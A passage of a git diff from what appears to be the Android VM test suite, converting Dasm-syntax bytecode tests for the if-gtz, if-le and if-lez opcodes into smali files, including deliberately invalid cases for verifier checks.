-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-gtz v5, Label8
-       const/4 v0, 0
-       return v0
-
-Label8:
-       nop
-       const/4 v0, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_8.smali
new file mode 100644
index 0000000..2b40be0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_8.smali
@@ -0,0 +1,24 @@
+.source "T_if_gtz_8.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-gtz v5, :Label8
+       const/4 v0, 0
+       return v0
+
+:Label8
+       nop
+       const/4 v0, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_9.d
deleted file mode 100644
index 08e8ff9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_9.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_gtz_9.java
-.class public dot.junit.opcodes.if_gtz.d.T_if_gtz_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-gtz v5, Label8
-       const/4 v0, 0
-       return v0
-
-Label8:
-       const v0, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_9.smali
new file mode 100644
index 0000000..4ad1624
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_gtz/d/T_if_gtz_9.smali
@@ -0,0 +1,23 @@
+.source "T_if_gtz_9.java"
+.class  public Ldot/junit/opcodes/if_gtz/d/T_if_gtz_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-gtz v5, :Label8
+       const/4 v0, 0
+       return v0
+
+:Label8
+       const v0, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_1.d
deleted file mode 100644
index a9fbd14..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_1.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_le_1.java
-.class public dot.junit.opcodes.if_le.d.T_if_le_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-le v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_1.smali
new file mode 100644
index 0000000..0a4f8c1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_1.smali
@@ -0,0 +1,23 @@
+.source "T_if_le_1.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-le v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_10.d
deleted file mode 100644
index 7c9ca12..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_10.d
+++ /dev/null
@@ -1,24 +0,0 @@
-.source T_if_le_10.java
-.class public dot.junit.opcodes.if_le.d.T_if_le_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-le v6, v7, Label10
-       const/4 v6, 0
-       return v6
-
-Label10:
-       const v6, 0
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_10.smali
new file mode 100644
index 0000000..dd63e70
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_10.smali
@@ -0,0 +1,24 @@
+.source "T_if_le_10.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-le v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       const v6, 0
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_11.d
deleted file mode 100644
index aaeecc9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_11.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_le_11.java
-.class public dot.junit.opcodes.if_le.d.T_if_le_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 8
-
-       if-le v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_11.smali
new file mode 100644
index 0000000..25da018
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_11.smali
@@ -0,0 +1,23 @@
+.source "T_if_le_11.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 8
+
+       if-le v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_12.d
deleted file mode 100644
index 2f9f581..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_12.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_le_12.java
-.class public dot.junit.opcodes.if_le.d.T_if_le_12
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-le v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_12.smali
new file mode 100644
index 0000000..5aa7fa6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_12.smali
@@ -0,0 +1,23 @@
+.source "T_if_le_12.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-le v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_3.d
deleted file mode 100644
index e389992..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_3.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_le_3.java
-.class public dot.junit.opcodes.if_le.d.T_if_le_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FI)I
-.limit regs 8
-
-       if-le v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_3.smali
new file mode 100644
index 0000000..8a21737
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_3.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_le_3.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       if-le v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_4.d
deleted file mode 100644
index 514c26b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_4.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_le_4.java
-.class public dot.junit.opcodes.if_le.d.T_if_le_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-le v6, v8, Label11
-       const/16 v6, 1234
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_4.smali
new file mode 100644
index 0000000..0ad63aa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_4.smali
@@ -0,0 +1,23 @@
+.source "T_if_le_4.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-le v6, v8, :Label11
+       const/16 v6, 1234
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_5.d
deleted file mode 100644
index a70e43f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_5.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_le_5.java
-.class public dot.junit.opcodes.if_le.d.T_if_le_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(ID)I
-.limit regs 8
-
-       if-le v5, v6, Label11
-       const/16 v5, 1234
-       return v5
-       
-Label11:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_5.smali
new file mode 100644
index 0000000..8caa8dd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_5.smali
@@ -0,0 +1,23 @@
+.source "T_if_le_5.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       if-le v5, v6, :Label11
+       const/16 v5, 1234
+       return v5
+       
+:Label11
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_6.d
deleted file mode 100644
index fb8bb3c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_6.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_le_6.java
-.class public dot.junit.opcodes.if_le.d.T_if_le_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       if-le v5, v7, Label11
-       const/16 v5, 1234
-       return v5
-
-Label11:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_6.smali
new file mode 100644
index 0000000..7bc5670
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_6.smali
@@ -0,0 +1,23 @@
+.source "T_if_le_6.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       if-le v5, v7, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_7.d
deleted file mode 100644
index cf76654..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_7.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_le_7.java
-.class public dot.junit.opcodes.if_le.d.T_if_le_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/String;I)I
-.limit regs 8
-
-       if-le v6, v7, Label11
-       const/16 v6, 1234
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_7.smali
new file mode 100644
index 0000000..6b489e8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_7.smali
@@ -0,0 +1,23 @@
+.source "T_if_le_7.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;I)I
+.registers 8
+
+       if-le v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_8.d
deleted file mode 100644
index 34562f1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_8.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_if_le_8.java
-.class public dot.junit.opcodes.if_le.d.T_if_le_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       if-le v6, v0, Label11
-       const/16 v6, 1234
-       return v6
-       
-Label11:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_8.smali
new file mode 100644
index 0000000..2c3fed1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_8.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_le_8.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-le v6, v0, :Label11
+       const/16 v6, 1234
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_9.d
deleted file mode 100644
index 99fa7c4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_9.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_le_9.java
-.class public dot.junit.opcodes.if_le.d.T_if_le_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)Z
-.limit regs 8
-
-       if-le v6, v7, Label10
-       const/4 v6, 0
-       return v6
-
-Label10:
-       nop
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_9.smali
new file mode 100644
index 0000000..5e4f615
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_9.smali
@@ -0,0 +1,23 @@
+.source "T_if_le_9.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-le v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       nop
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_1.d
deleted file mode 100644
index 6429797..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_1.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_lez_1.java
-.class public dot.junit.opcodes.if_lez.d.T_if_lez_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-lez v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_1.smali
new file mode 100644
index 0000000..0914d7d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_1.smali
@@ -0,0 +1,23 @@
+.source "T_if_lez_1.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-lez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_10.d
deleted file mode 100644
index 82a8268..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_10.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_lez_10.java
-.class public dot.junit.opcodes.if_lez.d.T_if_lez_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)Z
-.limit regs 6
-
-       if-lez v5, Label8
-       const/4 v5, 0
-       return v5
-
-Label8:
-       nop
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_10.smali
new file mode 100644
index 0000000..b2797ec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_10.smali
@@ -0,0 +1,23 @@
+.source "T_if_lez_10.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-lez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_2.d
deleted file mode 100644
index cbe7f34..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_2.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_lez_2.java
-.class public dot.junit.opcodes.if_lez.d.T_if_lez_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 6
-
-       if-lez v5, Label9
-       const/16 v5, 1234
-       return v5
-
-Label9:
-       const/4 v5, 1
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_2.smali
new file mode 100644
index 0000000..426c58b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_2.smali
@@ -0,0 +1,23 @@
+.source "T_if_lez_2.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 6
+
+       if-lez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_3.d
deleted file mode 100644
index 4efd27a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_3.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_lez_3.java
-.class public dot.junit.opcodes.if_lez.d.T_if_lez_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 6
-
-       if-lez v6, Label9
-       const/16 v6, 1234
-       return v6
-
-Label9:
-       const/4 v6, 1
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_3.smali
new file mode 100644
index 0000000..be67d4a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_3.smali
@@ -0,0 +1,23 @@
+.source "T_if_lez_3.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-lez v6, :Label9
+       const/16 v6, 1234
+       return v6
+
+:Label9
+       const/4 v6, 1
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_4.d
deleted file mode 100644
index 985254d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_4.d
+++ /dev/null
@@ -1,23 +0,0 @@
-.source T_if_lez_4.java
-.class public dot.junit.opcodes.if_lez.d.T_if_lez_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 6
-
-       if-lez v4, Label9
-       const/16 v4, 1234
-       return v4
-
-Label9:
-       const/4 v4, 1
-       return v4
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_4.smali
new file mode 100644
index 0000000..012fbb4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_4.smali
@@ -0,0 +1,23 @@
+.source "T_if_lez_4.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 6
+
+       if-lez v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method
